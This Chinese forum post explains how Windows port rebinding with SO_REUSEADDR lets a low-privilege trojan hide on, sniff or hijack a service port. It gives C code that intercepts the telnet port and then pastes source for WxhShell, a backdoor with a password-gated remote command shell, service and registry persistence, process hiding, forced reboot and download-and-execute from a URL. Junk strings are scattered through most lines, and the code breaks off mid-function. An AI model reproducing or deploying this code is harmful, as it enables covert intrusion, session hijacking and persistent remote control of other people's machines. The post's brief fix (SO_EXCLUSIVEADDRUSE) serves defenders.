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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j`LT`p"9S  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); `Cb<KAaCH  
uK"$=v6|  
  saddr.sin_family = AF_INET; 2i4Dal  
K'{wncumQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); MJ*oeI!.=  
.@x"JI> ;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); '|dKg"Yl  
"6[Ax{cM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KweHY,  
OTy 4"%  
  这意味着什么?意味着可以进行如下的攻击: { V =:O  
2Wc;hJ.1  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 0X S' v,|  
&CPe$'FYI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) IdC k  
nKZRq&~^E  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3'gd'`Hn/  
eBLHT  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Qh1Kl_a?Lv  
RmCn&-i  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5.+$v4  
aaqjE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *$WiJ3'(m  
G`3vH,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 +Fy- ~Mq  
Jn^Wzn[q  
  #include ND99 g  
  #include `6l24_eKf  
  #include se*pkgWbz  
  #include    'Rar>oU  
  DWORD WINAPI ClientThread(LPVOID lpParam);   LeRh (a`=$  
  int main() JOE{&^j  
  { &caO*R<#J}  
  WORD wVersionRequested; 'amex  
  DWORD ret; bj* v'  
  WSADATA wsaData; hc4`'r;  
  BOOL val; &55uT;7] a  
  SOCKADDR_IN saddr; XTn{1[.O  
  SOCKADDR_IN scaddr; [/2@=Uh-  
  int err; tg m{gR  
  SOCKET s; Y9(i}uTi  
  SOCKET sc; 0I AaPz/e  
  int caddsize; @v:ILby4-  
  HANDLE mt; >f9]Nj  
  DWORD tid;   Z!5m'yZO  
  wVersionRequested = MAKEWORD( 2, 2 ); enfu%"(K)  
  err = WSAStartup( wVersionRequested, &wsaData ); 5SPl#*W  
  if ( err != 0 ) { 0ju wDd  
  printf("error!WSAStartup failed!\n"); }M"'K2_Z  
  return -1; ^ _#gIT\  
  } S+\Mt+o  
  saddr.sin_family = AF_INET; YJtOdgG|q  
   B )3SiU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?;r7j V/`j  
4VL!U?dk  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); V'| g  
  saddr.sin_port = htons(23); d'eM(4R@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,:Y=,[n  
  { >Gu>T\jpe.  
  printf("error!socket failed!\n"); d ;Gm{g#  
  return -1; 7E84@V[\  
  } I$P7%}  
  val = TRUE; t)kr/Z*p\  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 JeSkNs|vB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5;KT-(q~  
  { ?[|4QzR  
  printf("error!setsockopt failed!\n"); 3By>t!~Q  
  return -1; Jut'xA2Dr  
  } 0z2R`=)  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~TmHnAz  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ? wiq 3f6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jzOMjz~:)  
h"%,eW|^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (Gb{ckzs  
  { Q,LWZw~"  
  ret=GetLastError(); L[9+xK^g  
  printf("error!bind failed!\n"); f>JzG,-  
  return -1; ki/Lf4  
  } (fjXp75  
  listen(s,2); C @[9 LB  
  while(1)  9%hB   
  { C@:N5},]  
  caddsize = sizeof(scaddr); # JT%]!  
  //接受连接请求 UqQZ A0e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _\V{X}ftqa  
  if(sc!=INVALID_SOCKET) KgkB)1s@n  
  { @RG3*3(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9~ .BH;ku  
  if(mt==NULL) &I">{J<  
  { oGjYCVc  
  printf("Thread Creat Failed!\n"); Iw-6Z+ 94  
  break; r -DD*'R  
  } 4xC6#:8  
  } j1C0LP8  
  CloseHandle(mt); !7Q.w/|=  
  } 9bYHb'70  
  closesocket(s); R5YtCw]i=  
  WSACleanup(); FH@e:-*=  
  return 0; \$++.%0  
  }   sg~/RSJ3  
  DWORD WINAPI ClientThread(LPVOID lpParam) o0v m?CL#  
  { |@4h z9~3  
  SOCKET ss = (SOCKET)lpParam; Wh&Z *J  
  SOCKET sc; cN(QTbyl6Q  
  unsigned char buf[4096]; )9P  
  SOCKADDR_IN saddr; JSP8Lu"n  
  long num; >L3p qK   
  DWORD val; 7PPsEU:rf  
  DWORD ret; 6I'V XdeN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ]$X=~>w  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   . *+7xL  
  saddr.sin_family = AF_INET; pc(9(. |  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); FP cvkXQD  
  saddr.sin_port = htons(23); hYQ%|CBXBR  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) J!qEj{  
  { @o.i2iG  
  printf("error!socket failed!\n"); .St h  
  return -1; %JU23c*  
  } A^jm<~  
  val = 100; |[t=.dK%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8&AorYw[  
  { Z\yLzy#8  
  ret = GetLastError(); D.JVEKLkU  
  return -1; x~I1(l7r  
  } VY26 Cf"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #k]0[;1os  
  { ojI"<Q~g  
  ret = GetLastError(); v*p)"J *  
  return -1; tz> X'L  
  } E&=?\KM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) y")>"8H  
  { G&B}jj  
  printf("error!socket connect failed!\n");  y3$\ m  
  closesocket(sc); ZI*A0_;L  
  closesocket(ss);  Z~:lfCK`  
  return -1; &l)v'  
  } O[J+dWyp  
  while(1) z~;qDf|I  
  { { ^k,iTx   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W_lNvzag  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 X=}0+W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 @)Y7GM+^  
  num = recv(ss,buf,4096,0); ZjID<5#  
  if(num>0) h*'5h!  
  send(sc,buf,num,0); Q^;\!$:M  
  else if(num==0) .Zm }  
  break; aYX'&k `  
  num = recv(sc,buf,4096,0); 0To 5|r  
  if(num>0) u+I3VK_)  
  send(ss,buf,num,0); T"lqPbK  
  else if(num==0) MO+0]uh:  
  break; ,l"2MXD  
  } %6?}gc_  
  closesocket(ss); ;qQzF  
  closesocket(sc); e=$xn3)McY  
  return 0 ; *)sz]g|d  
  } I!@` _Q9N  
(8/xSOZ[  
|/ 7's'  
========================================================== LxGh *7K-  
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下边附上一个代码,,WXhSHELL tG&B D\  
>sY+Y22U  
========================================================== 6<O]_HZ&  
%-1-J<<J q  
#include "stdafx.h" p#NZ\qJ  
ZSf+5{2m  
#include <stdio.h> rI$10R$+H  
#include <string.h> JH, +F  
#include <windows.h> T 0C'$1T  
#include <winsock2.h> b .@dUuKz-  
#include <winsvc.h> K~N[^pF  
#include <urlmon.h> 0{uX2h  
8z v6Mx  
#pragma comment (lib, "Ws2_32.lib") Wx`IEPsVbk  
#pragma comment (lib, "urlmon.lib") S'fq/`2g6  
B*Xh$R  
#define MAX_USER   100 // 最大客户端连接数 QR8 Q10  
#define BUF_SOCK   200 // sock buffer &?pAt30K:  
#define KEY_BUFF   255 // 输入 buffer bm|8Jbsb&  
jt*@,+e|  
#define REBOOT     0   // 重启 *]u/,wCB  
#define SHUTDOWN   1   // 关机 $^GnY7$!>  
8`<GplO  
#define DEF_PORT   5000 // 监听端口 :RG6gvz  
p8bTR!rvz  
#define REG_LEN     16   // 注册表键长度 TR7TF]itb  
#define SVC_LEN     80   // NT服务名长度 $l0w{m!P  
l0)6[yXK  
// 从dll定义API ZmF32 Ir  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); J> |`  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6f1Y:qK'@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (b5af_ c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3_:k12%p  
Ue%5 :Sdr  
// wxhshell配置信息 ax}Xsk_  
struct WSCFG { ]P5u:~U  
  int ws_port;         // 监听端口 BGOI  
  char ws_passstr[REG_LEN]; // 口令 %oQj^r!Xd  
  int ws_autoins;       // 安装标记, 1=yes 0=no KO7cZME  
  char ws_regname[REG_LEN]; // 注册表键名 H2-(  
  char ws_svcname[REG_LEN]; // 服务名 P]^] T}5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J]e&z5c  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 2j|Eh   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =2 5 "q Jr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )Qp?LECrt  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" "[ ,XS`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -JkO[ IF  
0}!lN{m?  
}; h<q``hn>  
T!r7RS  
// default Wxhshell configuration T9yW# .  
struct WSCFG wscfg={DEF_PORT, F*u;'K   
    "xuhuanlingzhe", c7 -j  
    1, CQHlSV W  
    "Wxhshell", 5}VP-04vh  
    "Wxhshell", r 6<}S(  
            "WxhShell Service", $tJJ >"  
    "Wrsky Windows CmdShell Service", *a4eL [  
    "Please Input Your Password: ",  su$juI{  
  1, w0SgF/"@  
  "http://www.wrsky.com/wxhshell.exe", z9ZAY!Zhq]  
  "Wxhshell.exe" +g&W423k_  
    }; jHzb,&  
wq#3f#3V  
// 消息定义模块  73X]|fy  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4B 6Aw?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^} #!?" Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KYaf7qy]  
char *msg_ws_ext="\n\rExit."; D=$<E x^p  
char *msg_ws_end="\n\rQuit."; ml2HA4X&$Y  
char *msg_ws_boot="\n\rReboot..."; =nl,5^  
char *msg_ws_poff="\n\rShutdown..."; fq'Of wT  
char *msg_ws_down="\n\rSave to "; oB@C-(M  
h !1c(UR  
char *msg_ws_err="\n\rErr!"; {I ,'  
char *msg_ws_ok="\n\rOK!"; R _%pR_\  
OX2\H  
char ExeFile[MAX_PATH]; 3& $E  
int nUser = 0; J(]nPwm=.-  
HANDLE handles[MAX_USER]; "-oC,;yq  
int OsIsNt; 6fiJ' j@  
]Ea6Z  
SERVICE_STATUS       serviceStatus; .nN7*))Fj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7Fx8&Z  
# ,Y}  
// 函数声明 r`@Dgo}  
int Install(void); J^T66}r[f,  
int Uninstall(void); ub&1L_K  
int DownloadFile(char *sURL, SOCKET wsh); L $~Id  
int Boot(int flag); `y(3:##p  
void HideProc(void); n1|%xQBU@  
int GetOsVer(void); h kY E7  
int Wxhshell(SOCKET wsl); Fu$otMw%l  
void TalkWithClient(void *cs); YL+W 4 ld  
int CmdShell(SOCKET sock); RPu-E9g@  
int StartFromService(void); `:&{/|uP7  
int StartWxhshell(LPSTR lpCmdLine); -p }]r  
'1+ Bgf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (46)v'?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); /(w5S',EL  
rm7UFMCR6i  
// 数据结构和表定义 OR O~(%-(e  
SERVICE_TABLE_ENTRY DispatchTable[] = 4{_5z7ody  
{ %9K@`v-  
{wscfg.ws_svcname, NTServiceMain}, $ uqlJG#`  
{NULL, NULL} 2=  _.K(  
}; #"|Ey6&  
BeRn9[  
// 自我安装 ~H.;pJ{ 8  
int Install(void) 9b0Z Ey{  
{ NZ#z{JI =+  
  char svExeFile[MAX_PATH]; AMr9rBd  
  HKEY key; Fpb1.Iz  
  strcpy(svExeFile,ExeFile); Gu-Sv!4p  
*,(`%b[  
// 如果是win9x系统,修改注册表设为自启动 NNT9\JRv_  
if(!OsIsNt) { /i<g>*82  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [3s~Z8 pP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nz(OHh!}u  
  RegCloseKey(key); ;AaF;zPV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \n5,!,A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )-mB^7uXGv  
  RegCloseKey(key); 8dv1#F|  
  return 0; 1/ a,7Hl  
    } *QLbrR  
  } q^s$4q  
} bFpwq#PDW>  
else { rr*IIG&.5  
`fH6E8N  
// 如果是NT以上系统,安装为系统服务 lyyi?/W%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p=zjJ~DVd  
if (schSCManager!=0) U*Q$:%72vO  
{ pd|s7  
  SC_HANDLE schService = CreateService l!b#v`  
  ( JkKI/ 5h  
  schSCManager, >y?$aJ8ZV  
  wscfg.ws_svcname, <K43f#%  
  wscfg.ws_svcdisp, Bn.8wMB  
  SERVICE_ALL_ACCESS, l}m@9 ~oC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #>0nNR[$Y  
  SERVICE_AUTO_START, r`=d4dK-  
  SERVICE_ERROR_NORMAL, mVxS[Gq  
  svExeFile, @M1U)JoQ  
  NULL, f-Sb:O!V  
  NULL, FY'f{gD^  
  NULL, 7}Gy%SJ`  
  NULL, UwLa9Dn^  
  NULL >7n(* M  
  ); vXc<#X9  
  if (schService!=0) @c/~qP4  
  { pCq{F*;  
  CloseServiceHandle(schService); nPKj%g3h  
  CloseServiceHandle(schSCManager); A 9u9d\  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #pIb:/2a_  
  strcat(svExeFile,wscfg.ws_svcname); [mm5?23g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { wDsEx!\#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Y!5-WX H  
  RegCloseKey(key); $ZA71TzMV  
  return 0; bNXT*HOZb3  
    } `18G 5R  
  } 3V-pLs|  
  CloseServiceHandle(schSCManager); $I_aHhKt  
} TY? Fs-  
} +=||c \'  
oOuWgr]0  
return 1; u~K4fP  
} 7&X^y+bMe6  
!Ed';yfz\(  
// 自我卸载 k]v a  
int Uninstall(void) [j5L}e!T  
{ Uu G;z5  
  HKEY key; :wIbKs.r  
mF "ctxE  
if(!OsIsNt) { ;&iQNXL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [g<JP~4]  
  RegDeleteValue(key,wscfg.ws_regname); V< J~:b1V  
  RegCloseKey(key); 6%)dsTAB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P? >p+dM  
  RegDeleteValue(key,wscfg.ws_regname); =ahD'*R^A  
  RegCloseKey(key); /@0wbA  
  return 0; .6r&<*  
  } P5[.2y_qM  
} >]Y`-*vw&  
} o0AREZ+I  
else { r t f}4.  
NbSwn}e_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); =x=#Etj|  
if (schSCManager!=0) 'E6)6N  
{ myH#.$=A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !.9NJ2'8  
  if (schService!=0) L='GsjF0}  
  { 0%v p'v  
  if(DeleteService(schService)!=0) { &7;W=uF  
  CloseServiceHandle(schService); w* v%S   
  CloseServiceHandle(schSCManager); =E{1QA0  
  return 0; QH+Oi&xH  
  } Z(Xu>ap  
  CloseServiceHandle(schService); 5=l Ava#  
  } Zd042 %  
  CloseServiceHandle(schSCManager); MwiT1sB~  
}  75%!R  
} gg933TLu(Q  
@dGj4h.  
return 1; =*}|y;I  
} R`Q9|yF\  
|06G)r&  
// 从指定url下载文件 k kY*OA  
int DownloadFile(char *sURL, SOCKET wsh) u"nyx0<  
{ tlc&Wx  
  HRESULT hr; !tN]OQ)'  
char seps[]= "/"; |XPT2eQ{  
char *token; o[_ {\  
char *file; ?!b}Ir<1j  
char myURL[MAX_PATH]; UL(#B TK  
char myFILE[MAX_PATH]; $6R<)]6  
|NL$? %I  
strcpy(myURL,sURL); ^ygN/a>rr  
  token=strtok(myURL,seps); eQA89 :j,  
  while(token!=NULL) xCGvLvFn  
  { k}~|jLu@g  
    file=token; st~f}w@  
  token=strtok(NULL,seps); 7R ;!  
  } Wo\NX05-?  
D.X%wJ8  
GetCurrentDirectory(MAX_PATH,myFILE); "QA!z\0\  
strcat(myFILE, "\\"); 5ZUqCl(PX)  
strcat(myFILE, file); 8 "|')f#  
  send(wsh,myFILE,strlen(myFILE),0); #TRPq>XzD  
send(wsh,"...",3,0); s<tdn[d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yo3'\I  
  if(hr==S_OK) FK0nQ{uB"  
return 0; RaKL KZn  
else ob-y {x,R  
return 1; YaDr6)  
Sky!ZN'I  
} Xrc0RWXB8  
7\<#z|  
// 系统电源模块 xrp%b1Sy  
int Boot(int flag) Vf,t=$.[Q  
{ ~#N^@a  
  HANDLE hToken; MYDAS-  
  TOKEN_PRIVILEGES tkp; Mvu!  
:(N3s9:vz  
  if(OsIsNt) { )FYz*:f>&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NbSkauF~b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X^7bOFWE  
    tkp.PrivilegeCount = 1; zq8LQ4@ay  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [*Wq6n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Jr|"`f%V  
if(flag==REBOOT) { vQ$FMKz7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,a_\o&V  
  return 0; z1*8 5?  
} L6O* aZ|  
else { 5f jmr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) fMy7pXa_  
  return 0; b~z1%?  
} ">j}!n 8J  
  } <%B sb}h,  
  else { 9Y3_.qa(.  
if(flag==REBOOT) { c\065#f!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^/U-(4O05*  
  return 0; UzWf_r  
} Tm 6<^5t  
else { S)T~vK(n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iG!tRNQ{y  
  return 0; g kT`C  
} c R*D)'/tl  
} ~K5eO-  
P|Dw +lQj  
return 1; RQ;pAO  
} hQv~C4Wfrf  
79^Y^.D  
// win9x进程隐藏模块 _8v8qT}O~4  
void HideProc(void) N`h,2!(j  
{ :?S1#d_  
IQAV`~_G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;`p+Vs8C  
  if ( hKernel != NULL ) v[E*K@6f  
  { 4"nb>tA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tURjIt,I  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j'R{llZW  
    FreeLibrary(hKernel); )v !GiZ" 7  
  } J^m#984  
E_[|ZrIO&*  
return; e$u=>=jV]  
} rVB,[4N  
.B_LQ;0:   
// 获取操作系统版本 jdqVS@SD  
int GetOsVer(void) 6vAq&Y{JB'  
{ *](maF~%C  
  OSVERSIONINFO winfo; hd^?mZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x1VBO.t=*  
  GetVersionEx(&winfo); >x]b"@Hkw  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CoO..  
  return 1; (NR8B9qLN  
  else :m#[V7  
  return 0; c>!zJA B  
} K%h9'}pq>1  
@~,&E*X! .  
// 客户端句柄模块 V3r1|{Z(  
int Wxhshell(SOCKET wsl) lI~T>Lel2  
{ _4Z|O]  
  SOCKET wsh; jM]B\cvN  
  struct sockaddr_in client; Aru=f~!  
  DWORD myID; E%8Op{zv_  
v'na{"  
  while(nUser<MAX_USER) GrPKJ~{6  
{  ieo Naq  
  int nSize=sizeof(client); {Rc mjI7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); o b;]  
  if(wsh==INVALID_SOCKET) return 1; xVw9_il2a  
5#|D1A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [CxnGeKK  
if(handles[nUser]==0) DLggR3K_\  
  closesocket(wsh); . 7*k}@k  
else .,[ NJ:l  
  nUser++; +}1h  
  } @`t#Bi9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &.^(, pt  
7~&  
  return 0; r*_z<^d  
} goBl~fqy0  
IC"lsNq52  
// 关闭 socket {x_SnZz&  
void CloseIt(SOCKET wsh) #@%DY*w]v  
{ mW EaUi)Zz  
closesocket(wsh); l ld,&N8  
nUser--; +5~5BZP  
ExitThread(0); J,q6  
} 9bu}@#4*  
K ?uH Am  
// 客户端请求句柄 } V  *  
void TalkWithClient(void *cs) 0#Ivo<V  
{ 8k~$_AT>u  
@>:V?  
  SOCKET wsh=(SOCKET)cs; ["O/%6b9+  
  char pwd[SVC_LEN]; +\Uq=@  
  char cmd[KEY_BUFF]; Q+bZZMK5,U  
char chr[1]; "- 2HKs  
int i,j; WX~: Y,l+u  
]]Bq te  
  while (nUser < MAX_USER) { l$_q#Kd  
c+S<U*  
if(wscfg.ws_passstr) { J)o.@+Q}  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c?(;6$A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  #dO8) t  
  //ZeroMemory(pwd,KEY_BUFF); qe^d6  
      i=0; fGdT2}gd  
  while(i<SVC_LEN) { 80m<OW1  
;[nomxu|?  
  // 设置超时  vNWCv  
  fd_set FdRead; X 8/9x-E_  
  struct timeval TimeOut; +>bm~6  
  FD_ZERO(&FdRead); Y["aw&;#O\  
  FD_SET(wsh,&FdRead); 2bv/ -^  
  TimeOut.tv_sec=8; g}@W9'!  
  TimeOut.tv_usec=0; TwfQq`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !V.2~V[^M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); = 1ltX+   
lKVV*RR}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G.{)#cR  
  pwd=chr[0]; qe/dWJBa  
  if(chr[0]==0xd || chr[0]==0xa) { LOO<)XFJ  
  pwd=0; E^s<5BC;  
  break; o,NTI h  
  } , B90r7K:  
  i++; 9Gh:s6  
    } +4 W6{`  
b;;mhu  
  // 如果是非法用户,关闭 socket 6Dl]d %.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EN2H[i+,  
} pZxuV(QP`  
bT>1S2s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !&(^R<-id  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !#[B#DZc(  
rd_!'pG  
while(1) { ]nIH0k3y  
;9&#Sb/  
  ZeroMemory(cmd,KEY_BUFF); ;6)Onwx  
Ot<vn34mt:  
      // 自动支持客户端 telnet标准   y/vGt_^;3<  
  j=0; xcHuH -}  
  while(j<KEY_BUFF) { 3a Y^6&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HpKF7oJ'N  
  cmd[j]=chr[0]; /}\Uw  
  if(chr[0]==0xa || chr[0]==0xd) { y1 qJ  
  cmd[j]=0; ztEM>xsk  
  break; _8 C:Md`  
  } {,X}Btnwp  
  j++; <sncW>?!~  
    } ?y/LMja  
xfzGixA  
  // 下载文件 < C1Jim  
  if(strstr(cmd,"http://")) { S"<"e\\}"_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?9Hs,J  
  if(DownloadFile(cmd,wsh)) ~bD'QMk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?mi1PNps#  
  else t,]E5,1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gm8FmjZtf  
  } eAl;:0=%L  
  else { rYI7V?  
Z1dLC'/b]  
    switch(cmd[0]) { VN/v]  
  }!_ofe  
  // 帮助 wZnv*t_  
  case '?': { 2kfX_RK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )`z{T  
    break; #S|DoeFs  
  }  o%SD\zk  
  // 安装 X,mqQ7+  
  case 'i': { 4:0y\M5u  
    if(Install()) b#[EkI 0@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]jRaR~[UN  
    else B:]%Iu|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \- f^C}m  
    break; &:?2IAe  
    } I .> SC  
  // 卸载 5Tg[-tl  
  case 'r': { Yw6^(g8  
    if(Uninstall()) ;RzbPlkl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7x''V5*j  
    else FzzV%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gp(: o$  
    break; b?]Lx.l-  
    } /H'F4->  
  // 显示 wxhshell 所在路径 E[a|.lnV  
  case 'p': { igO,Ge8}  
    char svExeFile[MAX_PATH]; ZnNl3MKV  
    strcpy(svExeFile,"\n\r"); 1m4Xl%KS>  
      strcat(svExeFile,ExeFile); (x!Tb2mlk  
        send(wsh,svExeFile,strlen(svExeFile),0); ;r3Xh)k;  
    break; e. '6q ($3  
    } !mIr_d2"  
  // 重启 jU2 vnGw_  
  case 'b': { MO-7y p:K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o>jM4sk$  
    if(Boot(REBOOT)) Ad)::9K?J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6 k+4R<  
    else { WlHK  
    closesocket(wsh); Wi2Tg^  
    ExitThread(0); > }fw7X  
    } GX#SCZ&}C  
    break; y!u=]BE  
    } J ?^R 1  
  // 关机 xcM*D3  
  case 'd': { 6d{&1-@>  
